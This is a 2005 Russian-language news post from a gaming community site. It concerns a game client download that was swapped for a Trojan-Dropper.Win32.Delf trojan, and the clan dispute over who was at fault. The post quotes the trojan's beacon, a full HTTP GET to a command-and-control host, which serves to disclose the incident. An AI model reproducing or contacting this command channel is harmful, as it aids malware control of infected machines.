Операция "Троян"
написано: 14.11.2005 22:57 (Ге р а л ьт) изменено: 15.11.2005 02:20 (Fitis)
Весьма интересная ситуация сложилась вокруг недавно опубликованной нами [URL=http://www.paladins.ru/news_comments.php?NewsID=6532&Offset=0
Мы покорно благодарим   cоздателя клиента  и  13-ю гвардию за проявленную оперативность - объяснения не заставили себя долго ждать: все желающие могут сейчас наблюдать ответы, опубликованные на сайтах Сталкеров и  Армады. Процитируем:
1. Троян действительно находился некотрое время на сайте вместо архива с оригинальным файлом.
2. В оригинальном файле трояна не было, не стоит подвергать сомнениям компетентность в этом вопросе хоть мою, хоть  Archvi!e  .
3. Каким образом оригинальный архив был заменен на архив с трояном, пока не понятно. Будем разбираться совместно с 13-й Гвардией. |
Подробней о самом вирусе Trojan-Dropper.Win32.Delf, обнаруженном паладинами, можно узнать тут. Бегло просмотрев его тех. характеристики можно с уверенностью сказать, что он не имеет никакого отношения к БК и, тем более, к краже чаров импортными злопыхателями. Проявлением трояна является обмен с сайтом zsewaq3211.infobox.ru вида: GET http://zsewaq3211.infobox.ru/script/command.php?IP=172.20.107.28&Port1=12120&Port2=121
22&ID=002900112004000700470030&L1=-.gif&L2=- HTTP/1.0..User-Agent: ..Host: zsewaq3211.infobox.ru
Просим обратить особое внимание на тот факт, что файл на нашем сервере уже 2 недели не менялся, как бы этого ни хотелось господам, скорым на обвинения. Элементарно: при замене файла количество закачек обнуляется.
Надеемся что паладинам хватит смелости исключить свой сайт из рейтинга за клевету в адрес Армады, последовавшую вследствие непрофессионализма отдельных сотрудников ОС. Так же хотелось надеяться, что впредь Орден не будет публиковать новости, обличающие нас, скажем, в изготовлении презервативов с дырочками или подрыве жилых домов. |
Пара вопросов, оставшихся без ответа:
1. Как вышло, что автор программы знает о содержащемся вредоносном коде, а ответственные за безопасность - нет?
2. Насчет "кражи чаров импортными злопыхателями"(с) - уважаемые коллеги, видимо, немного ошиблись. В новости, опубликованной на сайте  Ордена, нет ни одного намека на эту тему.
3. Обвинение в клевете - увы. Мы уже совсем было собрались сниматься с рейтинга, попутно ругая Касперского на чем свет стоит, но Gorby~DS~ своим заявлением всё испортил...
P.S. По поводу "презервативов с дырочками"(с) комментариев не поступало.
КОММЕНТАРИИ:
|
